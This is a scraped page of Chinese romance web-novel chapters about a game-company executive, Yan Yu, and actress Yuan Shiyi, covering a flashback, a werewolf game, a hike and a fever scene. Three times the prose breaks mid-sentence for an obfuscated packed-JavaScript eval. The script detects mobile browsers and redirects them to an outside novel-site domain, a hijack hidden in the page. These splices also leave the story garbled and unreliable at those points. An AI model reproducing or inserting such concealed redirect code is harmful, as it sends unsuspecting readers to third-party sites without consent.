离开岫围镇那天,颜屿被突然冲出的方想拦住,问他有没有空帮忙打个游戏。 看到休息厅内正在玩手机的元时亦,他点了点头。 进入大厅前,他似乎想到什么,拦下了方想推门的手。 “稍等,我处理一下公事。” 方想乖巧等待:“好的颜总!” 颜屿拿出手机,走到无人处给夏季拨去一个电话。 “夏季,如果半小时后我没有联系你,你就登陆一下我的游戏账号。” 午睡还没醒的夏季:“啊?” “不然我就完了。” 从来没有在颜屿口中听过“完了”两个字的夏季立马从沙发床上弹起来,“好的好的,我知道了。” 夏季把手掌撑在由整块实木切割而成的高档办公桌上,“下次再有这种活得加钱哈。” 颜屿破天荒地没用噎死人的话怼他,只回了个不咸不淡的“嗯”。 颜屿打开左手边最下面的抽屉,拿出一个小包裹,“有任何问题随时联系我,我在那边远程办公,不是十万火急的事情,我暂时就不回来了。” “啧,知道。”夏季指指颜屿手中的东西,“这是什么?” “帮她带的美瞳。” 夏季撑桌子的手一滑,“你们已经发展到这种程度了?” 四年前。 也是中午这个时间,夏季扒着盒饭闯进颜屿办公室。 那时他们刚搬进这栋新的大楼,颜屿还有很多东西没来得及收拾。 于是,他就看到桌上摆放的一张相片。 是一位年轻的漂亮女孩,她手里捏着一枚精致的金属徽章,对镜头露出明媚的笑。 夏季拿起来仔细端详,“这好像是个明星吧,有点眼熟呢。” 他知道颜屿有个暗恋多年的女生,还以为相框里放的是她的照片。 “没想到你小子还追星啊。”他放下东西,却撞见颜屿慌乱的眼神。 “等等,你喜欢的,”夏季哽了一口,他刚咽下一块红烧肉,有点噎嗓子,“不会是她吧?” 颜屿将相框藏到身后,声音略显僵硬,“不可以吗?” 夏季瞪了瞪双眼,“我是说喜欢,不是追星那种欣赏。”说着他倒退着去把办公室门关严实,顺便拉下百叶帘。 颜屿不明白夏季为什么这么紧张,好像他做了一件很见不得人的事情。 “我说的就是喜欢。” 夏季把饭盒往桌上轻轻一摔,“狗屁,你这不是喜欢,你这是、”他抠着脑袋,回忆半天,“梦,梦男,对对对,就是梦男。” “你这是梦男!” “梦男是什么?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16290602|182669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 颜屿没听过这个词。 “就是做梦、幻想,”夏季结巴地解释着,他其实也不太清楚“梦男”的准确意思,只是刚才听手底下的小姑娘们讨论男明星,提到“梦女”一词,他好奇问了一嘴,没想到转眼就在这里碰见一个现成的,“幻想自己跟明星谈恋爱。” “具体的我不懂,你去百度。” 颜屿不用他说就知道要去搜一下这个名词,这两个字听起来就不像什么好话。 搜索结束,印入眼帘的,是“虚拟”、“幻想”、“不切实际”、“无法理解”这类贬义性词语,言语中明明白白指出,他们这类人都是在,做梦。 “你看你看,幻想与虚拟角色建立情感联系,也包括部分幻想与明星发展感情的粉丝。” 耳边传来一阵毫无感情的朗读声,每一个字,都像一把坠入心底的尖刀,将他最宝贵的那块土地扎出伤痕。 可他第一次见到她时,她还不是明星。 那时她不过是个刚刚初中毕业的小女孩,十四五岁的年纪,而他即将步入高三。 他以为她是他的校友,然而他在学校里翻了一个遍,也未能找到一点与她有关的痕迹,他不知道她的名字,不知道她的年纪。 直到,高中毕业的暑假,他在电视上看到她的身影。 原来,她叫元时亦。 后来,他搜到她的微博,看她分享日常,知道她中途改学表演,知道父亲给她送的成人礼,知道母亲为她做的糖水甜品,他去看她第一次话剧演出,送她手工制作的礼物。 可她从没记得过他,她以为,他只是她的粉丝。 颜屿嘴角紧绷,最终只憋出一句,“我不是梦男。” 他跟那些人,不一样。 他早在她成为明星前,就见过她了。 夏季刚要反驳,陡然间想起什么,双眼又睁大一圈,“我说你好端端的,怎么想着要等赚了钱找非也老师买影视版权。” “不会就是为了她吧?!” “不是。”颜屿立刻否认出声,随即又很快改口,“不全是。” 他只是想增加一个认识她的途径。 如果他能通过影视化这条路进入娱乐圈,是不是就有可能接触到她? “那你这还不是梦男吗?” “我不是。” “那你没有幻想过跟她在一起?” 颜屿脸色发青,直接将网页关闭,“你以后不敲门不准进来。” 夏季也没能想到,四年后,颜屿真的找到了站在她身边的机会。 - 晚上十点,山谷夜戏。 元时亦从开拍起就有些心不在焉。 一直找不到入戏状态,江燚将她的镜头放在了后半夜。 好在另外三人拍摄的内容还有很多,她可以趁此机会再好好调理调理。 坐在江燚身旁的工作椅上,元时亦一只手拿着剧本,一只手捏着小巧的美瞳包装盒。 只剩最后这一副了。 她抬头望望不远处的拦路牌,那是人员进出的位置。 下一秒,一个小包裹出现在眼前。 一道熟悉的声音从身后响起—— “元老师在找什么?” 24. 视线 心跳在耳边炸开。 元时亦猛然间回头,因为动作稍大,连带着椅子都往旁边偏了半寸。 他什么时候来的?! 颜屿微倾着身体,一双藏在镜片后的笑眼倒映出斑斓碎光,正温柔地凝望她。 视线一触即离。 元时亦迅速低下头,终止了这场意料之外的对视。 颜屿轻晃手中物品,悄声提醒,“元老师?” 是她的美瞳。 元时亦不敢再耽搁,急忙伸手将东西接下,“谢、谢谢颜总。” 因为太过诧异,她连说话都有点不利索。 她一直有在关注出入口,可为什么完全没有发现他。 颜屿直起身,浅浅回了句:“不客气。” 山中夜晚温度低,他穿了件黑色长袖衬衫,隐约间可见胸口流畅的起伏线,袖口挽至手肘处,显得有几分随性,然而配上那副压抑情绪的眼镜,又透出一股暗中环伺的侵略。 元时亦收回眼角余光,这段日子里,她对他,其实是怀有一些愧疚的。 那天【与山言】的忽然上线,才让她明白自己又错怪了他。 或许世界上就是有这么多巧合。 连着这么多天未能见到颜屿,她的愧疚心理被越放越大,直到这一刻,在那道暗流翻涌的眼神中溺毙至底。 她不可以再对这个男人产生误会了。 她答应过他。 现在没有误会,以后也不应该有。 “好,卡。这条过了,咱们换个角度再来一条。”江燚聚精会神地盯着显示屏,只在说话的空档朝身侧看上一眼,这才发现颜屿的到来,“嗯?你什么时候来的?怎么又没个动静。” “刚到一会儿。”颜屿视线轻扫过下方,“只是来给元老师送美瞳,不必太兴师动众吧。” 依旧是轻描淡写的语气,仿佛在说一件简简单单的平常事。 江燚哪能不懂他那点小心思,没点破,反而说道:“你要是不急着回去,就一起坐下看看?今晚的打戏会很精彩。” 听罢,颜屿顺手打开一把折叠好的工作椅,“不急。” 他就坐在她身边,椅子相邻,一掌之隔。 太近了。 比车里、飞机上,还要近。 元时亦攥攥手心,她还是不太习惯。 起身,元时亦对江燚道,“江导,我先把美瞳拿回去收着,一会儿该到我了。” 没料到元时亦会直接“逃”走,他点轻咳一声,“好,去吧。” 元时亦走后,江燚眼角眉梢都染上一层笑意,细纹压出,他忍不住揶揄,“瞅瞅你,把人吓着了吧。小颜啊,你还年轻,要学的地方多着呐。” 颜屿靠坐于椅背,长眸微抬起,语气平淡:“你是说,学你这么多年都争不到一个名分吗?” 江燚:“*****,@#¥%…&” 三小时后,凌晨一点。 四人从高空中一一落下,今晚的拍摄很成功。 周泽洋第一个收拾好,他嘴上喘着粗气,眼中却是藏不住的兴奋,“这场戏演得也太爽了!” 这一场戏,讲的是最后一位神魔之子落幻黑化以后,与主角团另外三灵展开了一场激烈的生死之战。 基于血脉之因,落幻的真实战斗力无可估量,所以这场哪怕实际上只有十分钟不到的打戏,也让他实实在在打了个爽。 “颤抖吧,小卡拉米们!” 头一次看到周泽洋放飞自我的元时亦差点没能站稳,她以为,只有方想才会出现这种形态。 “差不多得了啊。”被打得最惨的舒妤咬牙切齿。 周·君子得志·泽洋:“我终于报了斗地主的一箭之仇!” 周泽洋的长相偏温润如玉那一挂,发起疯来就像是读书读疯了的玉面书生。 一阵轻笑响起,“我还以为上次我已经帮你报回来了。”颜屿身旁空掉的座位已坐上了人,丁除在一小时前赶来围观。 “诶,丁老师也在?”周泽洋稍稍收敛了点,“抱歉抱歉,我之前没注意到。” “你当然注意不到了,你眼里只有对自己黑化的欣赏!”方想气愤握拳,他们“兄妹”俩可是一个比一个狼狈。 “哎,丁老师,你是不知道那天他俩趁你离开以后把我贴得多么过分!”周泽洋凑上前解释,“我现在这样只能勉强算,扯平。” 方想勾上他的肩,一个计上心头,“勉强扯平?看来你还觉得不够啊,那咱们再来玩点别的如何?” 这场夜戏过后,主角团将有一个两天的休假,刚刚拍摄时几人就商量着下戏后一起宵夜一顿,反正明天不用早起,玩到多晚都行。 “丁老师要不要一起?”舒妤跟元时亦也走过来,“这样周泽洋就不用怕没人帮他了,很公平。” 丁除想了一会儿,“我本来打算明天去爬山,但既然大家都这么有兴致,那我就一起吧,爬山后天再去。” “好耶。”方想眼里并无曾被丁老师支配过而产生的恐惧,只有坏主意达成后而产生的邪恶。说罢,他看向丁除身边的颜屿:“颜总要来吗?多一个人会方便一些。” “颜总”二字一出,元时亦心头猛跳了一下。可是这么晚了,他应该不会—— 颜屿露出官方微笑:“好。” 元时亦:。 感受到元时亦的情绪变化,颜屿视线避开众人,直直落到她的身上。 深邃的双眼望着她,一个极其轻微的歪头:怎么,不想让我去? 元时亦挪开目光:没有不想。 十分钟后,六人一起来到熟悉的地点,休息大厅。方想拉来了生活制片的助理胡雨来当主持人。 “今夜,将会是一个美妙的夜晚。” 方想决定的游戏是,狼人杀。 “我靠,你有没搞错啊,丁老师都没玩过这个!” “没玩过才有意思嘛。”舒妤按下激动起身的周泽洋。 “而且我们还增加了一条新规则哦,每局胜利者加1分,游戏结束后,分数最低者,将无条件答应分数最高者一个要求。” “哈?”周泽洋差点又要弹起来,“什么要求,很过分那种也可以吗?” 方想嘿嘿一笑:“这个就要看最高的那个人怎么提了。” 周泽洋顿时有种不好的预感,这个新规则怎么看都怎么是为他而制定的。 众人给丁除讲解完游戏规则后,游戏正式开始。 第一局。 狼人:方想、颜屿 女巫:元时亦 预言家:周泽洋 平民:丁除、舒妤 “天黑请闭眼。” “狼人请睁眼。” …… “女巫请睁眼。” 元时亦明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16290603|182669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亮的双眸缓缓睁开。 “今晚死的人是他。”胡雨朝元时亦正对面的人一指,“你使用解药吗?” 睁眼的速度刹那间变快,今晚死的人居然是,颜屿? 元时亦有点不敢相信,怎么会是颜屿呢?他怎么说都是项目组的大金主,一上来就搞针对是不是有点儿…… 元时亦轻点头,使用解药。 …… “天亮了,昨晚是平安夜。” “请大家按序发言。” 周泽洋作为一号,率先下达定论:“啥也不说了,我预言家,昨晚验了方想是狼,信我,投他。” 轮到元时亦时,她犹豫了一会儿,还是选择说出真相:“昨晚被刀的是颜总,我使用了解药。至于其他的,我不知道。” 修长的手指在桌上有节奏地轻击着,在元时亦说完那句“我使用了解药”后,手指稍顿,随即又重新恢复动作,没有人注意到,手指的主人露出了一个微不可察的笑。 方想这位狼人被第一个投出局,数轮激烈的讨论后,另一位狼人颜屿,成功拿下了这局游戏。 “狼人胜利。” 身份揭晓。 元时亦在得知结果的瞬间,一抹错愕从脸上闪过:“所以第一晚我是救了狼吗?” 颜屿轻转眸子,天花板上的暖光打下,给他的双眸镀上一层流动浮光,“嗯,你是救了我。” 颜屿、方想加1分。 第二局。 颜屿、元时亦、舒妤、周泽洋加1分。 第三局。 颜屿、元时亦加1分。 …… 两个小时后。 “啊啊啊啊怎么会这样啊!!!”方想发出不可置信的咆哮,“为什么我是倒数第二?!!” 最终结果: 颜屿:10分 元时亦:8分 舒妤、周泽洋:6分 方想:4分 丁除:2分 “颜总,我以后再也不要跟你玩游戏了!”方想做局不成差点被套。 “我以为第一局我自刀以后,大家会警惕一点。”颜屿神色从容,说着,他再一次将视线落于元时亦的双眼,声音不轻不重:“还是要感谢元老师救我。” 元时亦一张莹白的脸快要憋红,“还是颜总心机……思缜密。” 元时亦感觉自己被做局了。 虽然颜屿并没有猜到每个人的身份,可哪有他这样一上来就狼人自刀的?! 她还好心去救他。 有这样玩游戏的吗?! 元时亦小怒一下,这个心机的狗男人! 而作为最后一名的丁除,他看看属于自己的那张计分纸,无奈道,“还是没太玩明白这个游戏。” 方想和舒妤满脸抱歉,“不好意思啊丁老师,我们也没想到会这样……” 他俩的目标一直是周泽洋,完全没想到最后会把丁除给牵扯进去。 丁除摇摇头,“没关系,愿赌服输嘛。”看向颜屿,丁除认真问,“不知颜总有什么要求?” 颜屿当然不会真的提出些什么,毕竟他与这位年长一点的丁老师只产生过一次私下交集——上次回沪城前,他找丁除要了那两种汤的食谱。 “我还没想到,后面有了再跟您说好吗?” 颜屿不知道的是,一天后,这个后面就出现了。 25. 登山 狼人杀结束后,桌上的烤肉也被消灭得所剩无几。 “时亦,还有一点牛肋条,你还吃吗?”舒妤问元时亦。 “不了不了。”元时亦赶紧摇头,她今天实在是有些放纵,一沉浸到游戏里,身材也不顾了,理智也没有了,满脑子只有讨论和肉。“再吃下去我怕减不下来。” 山里的健身设备不算齐全,只有跑步机一类的基本器械,她最近都吃得很少,就怕长胖。好在今晚的夜宵基本都是牛肉,不会影响她好不容易练出的精瘦身材。 “嗝,没事的没事的,”方想喝完最后一口可乐,毫无形象地打了个嗝,“你看我,腹肌吃没了都不慌,后面再练就是了。” “本来也没有的东西。”周泽洋无情戳穿。 舒妤对着方想的空盘子细数一番,“你今晚是吃得有点多,后天老江肯定要击毙你。” 提到江燚,方想歪掉的身子一个坐正,“完,我怎么把这尊佛给忘了。”说着他拿出手机开始搜索,“两天瘦十斤教程。” 丁除看着他慌乱的模样,给出一条真诚建议,“小方,要不要跟我一起去爬山?” 是他之前提过的事情。 “爬山啊……”方想立体的五官皱成一团,“这个、我、要不、还是算了吧……”他的人生宗旨向来是,能躺着就不坐着,能坐着就不站着,懒惰是人类最美好的品质。 一直没说话的颜屿忽然在这时开口:“这附近的山吗?” 丁除点头,“对,岫山,我爱人说它是这里唯一一处对游客开放的景点,我准备过去看看。”他边说边将手机放在桌面中央展示,“这是我搜到的照片。” 几人前凑上去看了看,元时亦不免惊叹出声:“好漂亮。” 颜屿眉眼微动,确实很漂亮,适合他去取景。 上次回沪城时,他跟项目组主要成员商讨了下一张新地图的主题,只是模型风格迟迟未定,美术组负责人,也就是第三位创始人宋斯衍让他没事的时候出去找找素材。 毕竟,他这个策划要是不提供参考,他们美术组就只能全凭自己理解办事了。 然而颜屿并未想到,一天后他抵达岫山半山腰时,会看见那道熟悉的身影。 元时亦昨天回酒店后好好休整了一日,攒足力气,决定靠爬山把前一天吃进身体的卡路里全部消耗掉。 她没有太早出发,岫山气温低,中午时分会更加暖和。 保姆车将她送到山脚下,穿好遮挡严实的防晒服,元时亦信心满满地踏上旅程。 岫山的海拔不算高,石阶平缓,徒步仅一小时便能抵达山顶。 这座小山虽不难爬,但元时亦还是不想给自己太大压力,这里景色好,她不好好欣赏一番,倒显得不解风情了。 行至一半,元时亦在路边的小亭里停下来休息。 游客要比她预想得少,来来往往间,并未有人注意到她。 元时亦精神放松下来,明星私下出行,若不稍加处理,容易产生暴露的风险。 稍稍拉开脸上的防晒面罩,元时亦再次出发。 她不知道的是,面罩拉开的这刻,亭外有一人看见了她。 四十分钟后,元时亦成功来到山顶,山顶视野开阔,比她想象中更美。 成片的山峦铺满密林草甸,郁郁葱葱,延伸至那处青色的湖,风过,树动、草动、水动,此起彼伏,又紧密相连。 没有任何犹豫,元时亦拿出手机开启疯狂拍照模式。 挑出几张最满意的照片,元时亦少见地发了个九宫格,并配文:登山。 动态发出没多久,点赞和评论的消息就一直往上加,大多都是圈内熟人的客套话,她没太在意,直到一条评论出现—— 【你在岫山?】 是她表哥,许其知。 万年不刷朋友圈的大忙人居然会给她评论。 元时亦换了一条路下山,她一边慢慢往山下走,一边悠闲地点开与许其知的聊天框。 【元时亦:哟,您老人家今天怎么有空检阅朋友圈了?】 那边很快回来消息,没有像以前那样经常一两个小时后才给回复。 【许其知:好好说话】 【元时亦:[鬼脸]就不】 【元时亦:你怎么知道我拍的地方是岫山?】 【许其知:我昨天刚爬】 【元时亦:u?you?你爬山?天啊我没看错吧,宇宙无敌超级霸总许氏集团掌权人许其知居然会亲自爬山,你昨天怎么没有直接修条电梯上来,害我爬了好久】 【许其知:.】 【许其知:[微笑]我明天去探班】 【元时亦:我错了哥,拜拜】 看到“探班”二字,元时亦立马老实。 正如当年吐槽她的那位导演所说的那样,她的确是位含着金汤匙出生、不识人间疾苦、一向养尊处优的小公主,只是那时旁人都以为她家只是有点小钱,并不会想到她会跟顶级豪门许家有什么关系。 而她能在娱乐圈内将家中背景隐藏得干干净净,也全靠她这位手腕强硬的表哥。 许其知的母亲与她妈妈是亲姐妹,只是她姨母去世早,许其知被她姨夫一手拉扯大,倒是养成了个杀伐果断,狠戾难测的性子。 他说他来探班,就极有可能真的来。 尤其是,他人就在岫围。 元时亦蹲在路边咬了咬手指,如果许其知要来,那剧组里的人会怎么猜,她不想暴露跟许其知之间的血缘关系,可许家在三年前就已经撤出娱乐圈。 那时网络一度传闻,他圈养的“金丝雀”夺得影后之位,以为翅膀硬了可以脱离他的掌控,结果反遭全网封杀,她被他生生折断羽翼,再也没能出现在公众视野里。 而许家在那之后也再未与娱乐圈产生过任何关系。 若他突然出现在《诸灵》剧组,还是专门探她的班,那势必会引起一场不小的轰动。 不行。 许其知不能来。 【元时亦:你不准来】 【元时亦:别来,听见没有!】 【元时亦:许其知你别装死!!!】 一连串的消息就如石沉大海,小石子扔进深渊,激不起一点儿风浪。 元时亦噌地站起,因为太过激动,她眼前花了一瞬,差点栽倒。 他到底是不想回还是有事忙?! 元时亦不死心,又发去一条消息试探。 【元时亦:没钱了,要买包】 那边一个秒回。 【许其知:[转账]哦】 【元时亦:尼玛】 这个狗东西! 她真是脑抽了会去找他聊天。 但也不能全怪她自己,他看到了她的朋友圈,知道她在这里,也很有可能招呼都不打就直接冲过来。 那样的话,她只会更爆炸。 元时亦这么想着,并未察觉到脚下这段路的两旁,栽满了金黄的桂花树。 正逢秋季,桂花开得正盛。 微风拂过,窸窸窣窣,落了满地。 这本该是一处极好的景色,可对元时亦而言,这只会是一场更为紧急的灾难。 元时亦果断调转方向往回跑,然而一个下意识的深呼吸,她再次两眼一花—— 完蛋。 “小心。” 双眼紧闭前,一道熟悉声传来。 想象中的摔倒没有发生,她被人扶住了。 勉强降慢呼吸,元时亦缓了一会儿才重新将眼睛睁开。 咦? 这模样,她怎么觉着有点像颜屿呢,是她眼神还没恢复吗? 颜屿深色的眉轻微皱起,长眸落于透明镜片后,蕴着担心,“没事吧?” 元时亦没有力气细看,她再待久一点,人就会凉。 “我、我得去那边。” 一路踉跄,元时亦终于逃离那处“魔地”。 她闻不了气味太重的东西。 一旦身处那种的环境太久,她会头痛、反胃,甚至直接晕厥。 元时亦弯腰撑住双腿,大口呼吸着,势要把所有桂花味都清理出去。 都怪许其知,要不是他说来探班,她至于走神到这种程度吗?! 幸好有人帮忙,她才没有真的完蛋。 对了,刚刚扶她的人好像有点像颜屿来着。 元时亦垂下的头微微向后偏去,待看清身后之人,沾上一点潮湿的双眼顿时瞪大,这哪是像,这分明就是本人。 颜屿怎么会在这儿? 他也是过来爬山的? 这是不是巧得有点离谱了?! 元时亦转回头,后背冒出薄薄冷汗,他不会一直跟在她身后吧……那她刚才对着手机咬牙切齿的模样他岂不是全看到了? 没再停留,元时亦拔腿就跑。 未及两步,胳膊就被后方之人猛地抓住。 “跑什么?” 略带烫意的声音顺着他的手掌穿过防晒服,连至她的小臂,再传进她的脑袋,元时亦脑中一嗡,他他他这是要干嘛? 意识到动作太唐突,颜屿松开钳制,在她面前稍稍站直,“不怕又摔了?” 元时亦浅眉纠缠,没有回答他的问题,而是直指核心:“你怎么在这儿?” “过来取景。” “真的?” “真的,没有骗你。” 他是制造过许多与她的巧合,但今天的相遇,的确是一场意外。 元时亦还想说什么,一股恶心骤然间翻涌而上,完完完,她要吐了! 捂住嘴巴,元时亦风一样冲向前方的卫生间。 怕爬山体力不支,她的早餐安排得丰盛了些,却不想,这反而让她遭受了更大的罪。 打开水龙头,元时亦将水池一点点冲洗干净,一丝微酸泛入眼睛,将眼眶染红,她今天怎么这么倒霉啊。 许其知欺负她就算了,颜屿还看到她这副狼狈模样。 轻吸一口鼻子,元时亦将眼尾那点泪花抹去,看就看吧,反正她以前被他怼得哑口无言时不也是很狼狈吗。 再一次将防晒服裹好,元时亦走出卫生间,猫起身子一步步往外挪。 很好,没有发现目标,她得抓紧走, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16290604|182669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就是这胃里,实在有些难受…… 头顶在这时传来声音。 她把帽子盖得太下,有视野盲区。 “我在这儿。” 我不是要找你! 元时亦手臂环抱起身体,想缓解一下肚子上的灼痛感。 发觉她的动作,颜屿低下头,将脸凑到她面前。 她被挡得太严实,他看不见她的表情,然而只这一眼,他就瞥见那双发红的清眸,盈着薄泪,颜屿的心瞬间被揪起,她又在逞强了。 没有犹豫,颜屿转身蹲下,轻声唤她,“上来。” 元时亦在圈内女星中已属于高挑那一档,可当颜屿的背影展现在她眼前,她依旧会觉得高大宽厚,能够将她牢牢遮严。 “我……”元时亦不知自己该不该答应,只是这一开口,她才发现嗓子、身子,都在发软。 她吐得太干净,胃里发空、发涩、发酸。 “听话。” 依旧是两个字,却要比刚才强硬几分,又带着一丝.诱哄,他怕她不愿意。 事已至此,她不该再矫情下去,伸出双臂,元时亦环住了身前男人的脖颈。 一双大手覆上她的腿窝,托住她全身重量,待她调整好姿势,男人才开始缓步向前。 颜屿的速度很慢,好一会过去,他们才将将下了山顶。元时亦终是没忍住问他,声音发闷:“是我很重吗?” 她本就不是干瘦身材,再加上最近增肌,可能是有些份量。 颜屿答得很快:“很轻。” “那你干嘛走这么慢。” “怕你难受。” “噢。”发闷的声音透亮了些。 颜屿的后背很温暖,不是体温偏高的暖,而是安全、贴心的暖,这是她从未有过的体验。 以往拍戏,她不是没有拍过这类情节,可那些跟这次,不一样。 她说不出哪里一样。 或许是他们肩不够宽,是他们动作不够稳,也或许,是他们身上还有刺鼻的香。 香。 元时亦下意识嗅了嗅。 仍旧是淡淡的洗涤味。 自初遇那次以后,她好像再也没闻到过那股好闻的味道。 “颜总,你怎么不喷香水了?”元时亦将脑袋抬起一点,颜屿今天穿的是一套简约的运动装,材质轻薄,她甚至可以感受到布料下遮盖着的,偏硬的肌肉。 颜屿语气平和如常,用另一个问题回答她:“你不是对气味很敏感吗?” 元时亦怔住,所以是出于这个原因,他才不再用香水了? 她想起那时在电梯,因为罗青蔓的到来,她被惹得打了个不痛不痒的喷嚏,这么说他在那时就已经注意到这件事了吗? 心跳一下变得绵密,元时亦不自觉将胳膊收紧了点。 温软气息洒在颜屿颈侧,似撩人羽毛,一下一下,若即若离。 颜屿俯下首,不动声色地做了一个深呼吸,她总是能在不经意间拨动他心里那根弦,“我以前没有用过这类物品,尝试后也不是很习惯,索性就不用了。” “是味道很奇怪吗?”不然她为什么会问他这个。 “没,”元时亦也不知道心情怎么忽然间好转了许多,没有遮掩,她直白道:“我觉得挺好闻的。” 身下人顿了顿,接着缓缓出声:“好,那我后面那习惯一下。” 元时亦呼吸在这一刻骤停,她感觉到自己的心脏在狠狠跳动着,无法忽视,无法压制,自然的,深刻的,浓烈的。 种子生根,开始发芽。 “颜屿。” “嗯?” “没事,我就想叫下你。” “嗯。” 元时亦闭起眼,满足地趴下脑袋,这处温床,比她想象中要舒服许多,许多。 她睡着了。 颜屿眼睫轻扇,将步子迈得更稳了些。 她真的很轻,像一片缥缈的云,却又很重,占据他心底每一个角落。 阳光渐烈,颜屿抵达山底。 山脚处矗立着一棵苍然古树,盘根错节,枝繁叶茂,守护着游客来往的出入口。 抬眸,有人在远处为这棵树留影,快门按下的那刻,行至树下的二人也被定格其中。 颜屿走近,原来是丁老师,丁除。 他原本该径直经过,他背上之人,头埋得很深,应该不想被旁人察觉。可看清丁除手里的东西,他还是笔直地走向了他。 “丁老师。” 丁除从镜头后抬起身子,“颜总?”他正在拍摄那棵巨树的全景,“好巧。” “嗯,”颜屿颔首,轻仰下巴询问他手里的东西,“这个是拍立得吗?” “是的,我爱人喜欢收集这样的实物相片。”丁除将相纸取出,这棵巨大的古树下,有一对相依的男女,男人微微弓着背,拢住女人的腿窝,她的头搭在他的颈侧,睡得很香。 “之前您问的那个要求,”颜屿悄声开口,“我想到了。” 没有打扰睡梦中人,丁除也降下声调,“你说。” “这张相片,可以送给我吗?” 26. 发烧 第二天,周六。 为了不错过下午《诸灵》的比赛直播,元时亦几乎没有中场休息,从早八开始一直连续不断地拍摄,终于在下午两点前把今日戏份全部拍完。 “快快快,比赛刚结束一场。” 元时亦坐在餐桌前,一边吃午餐一边看直播,顺便跟周三月连上语音。 “与老板状态好像不是很好,上一场输了。” 他们这支亲友队里,目前只剩下与山言这一枝独苗。 上周六的初赛,钻家跟元时亦都没有参加,周三月运气差匹配到好几次克制职业,积分被拉低,没能晋级。这周六的复赛,甘霖正好赶上出差,没空打。 全队的希望就都放在了与老板身上。 而今天的比赛结束后,成功晋级的十六名玩家可以提前获得那把顶级武器,并允许在决赛中使用。 这样一来,下周的决赛将大有看头。 “输了?”元时亦意外道,没去看回放,她让三月大致讲了下战况。 “是啊,按理说他挺会打隐夜的,特别是对面那个隐夜连我都觉得拉,不知道怎么会输。” “可能第一把没手感吧,后面再看看。” 两人边看直播边聊天。 昨天从岫山回来后,元时亦没忍住跟周三月小小地分享了下近况。 上一次聊到与颜屿相关的话题,还是关于“联系方式”的那件事。元时亦说得委婉,只发了一句“你猜的是对的”,周三月立刻就get到意思,并搬好小板凳准备好小瓜子耐心等待后续发展。 “那你下一步打算怎么办?” “不知道,”元时亦咬着胡萝卜,思绪逐渐飘远,“总不能让我主动说吧。” “别人不能,但是你最好是能。”听筒里传出周三月坏坏的笑,“你忘记自己是性单恋了吗?” 性单恋。 一种相当特殊的情感模式。 表现为对他人产生爱慕却不希望获得回应,当对方表达出爱意时,反而会情感消退或产生回避行为。 元时亦从不掩饰自己的情感倾向。 她甚至在某个采访里提过这件事,那时主持人问她的恋爱观,她说只要有好感的人主动她就会立马下头,搞得主持人后面那些挖坑的问题都没法问。 “万一他主动,你又下头怎么办?”见元时亦迟迟不作声,周三月继续补上一刀。 元时亦思考良久,才终于憋出一句:“如果是他的话,应该、大概、可能不会吧……” 比赛恰好在这时结束,与山言积分排名十六,将将晋级。 “哇太好了,与老板进决赛了!” “拿到武器——” 话还未落,来电铃声忽然响起,是施鎏。 小家伙怎么会在这个时间跟她打电话? 元时亦声音一转,“等等,有个电话,我先接一下。” 而电话那头等了半天的周三月,最终只等来一句: 【他出了点事,我得去看看】。 周三月捧着手机摇头,女人呐。 …… 抵达顶楼套房外,元时亦抚抚略微起伏的胸口,她一路跑过来,气息还未匀。 庆幸的是,她今天事情不多,早早收了工。 五分钟前。 “小元姐姐!完了完了,颜叔叔好像不动了!” “怎么了?你慢慢说。”施鎏语气又急又怕,显然是他那边发生了一件大事。 “颜叔叔发烧了,不吃药还是一直打游戏,结果刚才直接晕过去不动了!!!” “怎么办啊小元姐姐,你能不能过来帮帮我,我扶、扶不动、他……” 自颜屿回岫围后,施鎏就被那夫妻俩扔到了他这里,两人最近工作太忙,没空看孩子。 而作为一个单纯来度假的小男孩,除了他父母、颜叔叔外,在这里就只有小元姐姐一个熟人。 按下门铃,房门迅速打开。 施鎏一张小脸从门后露出来,脸上还挂着一点泪珠,“小元姐姐,快点快点。”他上前拉拉元时亦的衣角,把她往里带,“这边。” “颜叔叔刚刚一直在玩游戏,我让他吃药休息他也不听,然后、然后他就晕过去了……”施鎏说着说着抽噎起来,平常都是颜叔叔照顾他,这回好不容易轮到他照顾颜叔叔,结果他还需要找人帮忙。 卧室门被轻轻推开,一股极淡的清香拂面而来,房间内很干净,深灰暗纹木地板,一张整片裁剪的素色短绒地毯铺在床下,熨烫平整的厚重窗帘被拉上大半,只留下床尾处的光,显得有些暗。 颜屿身上盖着薄毯,正安静地仰靠于床头,阖着眼。 脸上泛出虚浮的红,光线昏暗,她看不清。 元时亦悄悄往里靠近。 他额头上搭有施鎏叠好的湿毛巾,如羽扇般的长睫铺散开,随着略显急促的呼吸微微颤动,眉间紧锁着,似乎很难受。 抬起右手,元时亦顿了顿,将手背落至他的颊侧。 